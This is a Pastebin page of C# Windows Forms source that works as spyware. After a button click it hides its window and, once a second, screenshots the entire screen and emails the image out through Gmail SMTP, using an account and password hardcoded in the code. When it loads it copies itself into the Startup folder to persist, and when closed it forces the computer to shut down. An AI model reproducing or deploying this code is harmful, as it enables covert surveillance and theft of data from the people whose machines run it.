Advertisement
Guest User

Untitled

a guest
Jun 19th, 2017
558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.41 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing.Imaging;
  6. using System.Drawing;
  7. using System.Linq;
  8. using System.IO;
  9. using System.Text;
  10. using System.Net.Mail;
  11. using System.Windows.Forms;
  12.  
  13. namespace WindowsFormsApplication1
  14. {
  15. public partial class Form1 : Form
  16. {
  17. public Form1()
  18. {
  19. InitializeComponent();
  20. }
  21. Timer t = new Timer();
  22. public void SendEmail(string Sendto, string sendfrom, string subject, string body)
  23. {
  24. SmtpClient Cilent = new SmtpClient();
  25. MailMessage msg = new MailMessage();
  26. System.Net.NetworkCredential SmtpCreds = new System.Net.NetworkCredential("surprjvnkl@gmail.com", "dor10_09");
  27. try
  28. {
  29. Attachment add = new Attachment("C:\\Program Files\\screen.jpg");
  30. msg.Attachments.Add(add);
  31. Cilent.Host = "smtp.gmail.com";
  32. Cilent.Port = 587;
  33. Cilent.UseDefaultCredentials = false;
  34. Cilent.Credentials = SmtpCreds;
  35. Cilent.EnableSsl = true;
  36. MailAddress to = new MailAddress(Sendto);
  37. MailAddress from = new MailAddress(sendfrom);
  38. msg.Body = body;
  39. msg.Subject = subject;
  40. msg.From = from;
  41. msg.To.Add(to);
  42. Cilent.Send(msg);
  43. add.Dispose();
  44. }
  45. catch (Exception ex)
  46. {
  47. MessageBox.Show(ex.Message, "ERROR");
  48. }
  49. msg.Dispose();
  50. }
  51. private void button1_Click(object sender, EventArgs e)
  52. {
  53. this.TopMost = false;
  54. this.Hide();
  55. SendScreen();
  56. t.Interval = 1000;
  57. t.Enabled = true;
  58. t.Start();
  59. t.Tick += new EventHandler(t_Tick);
  60. }
  61.  
  62. void t_Tick(object sender, EventArgs e)
  63. {
  64. SendScreen();
  65. }
  66. public void SendScreen()
  67. {
  68. int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
  69. int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
  70. Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
  71. Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
  72. gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
  73. bmpScreenShot.Save("C:\\Program Files\\screen.jpg", ImageFormat.Jpeg);
  74. SendEmail("surprjvnkl@gmail.com", "surprjvnkl@gmail.com", "Screen", "Yes I Can!");
  75. bmpScreenShot.Dispose();
  76. gfx.Dispose();
  77. }
  78. private void Form1_Load(object sender, EventArgs e)
  79. {
  80. string path = @"C:\Documents and Settings\All Users\תפריט התחלה\תוכניות\הפעלה\Yes I Can.exe";
  81. if (!File.Exists(path))
  82. {
  83. File.Copy("C:\\Program Files\\Yes I Can.exe", "C:\\Documents and Settings\\All Users\\תפריט התחלה\\תוכניות\\הפעלה\\Yes I Can.exe");
  84. }
  85. }
  86. private void Form1_FormClosing(object sender, FormClosingEventArgs e)
  87. {
  88. File.WriteAllText("C:\\Program Files\\byebye.bat", "shutdown -f -s");
  89. System.Diagnostics.Process.Start("C:\\Program Files\\byebye.bat");
  90. }
  91. }
  92. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement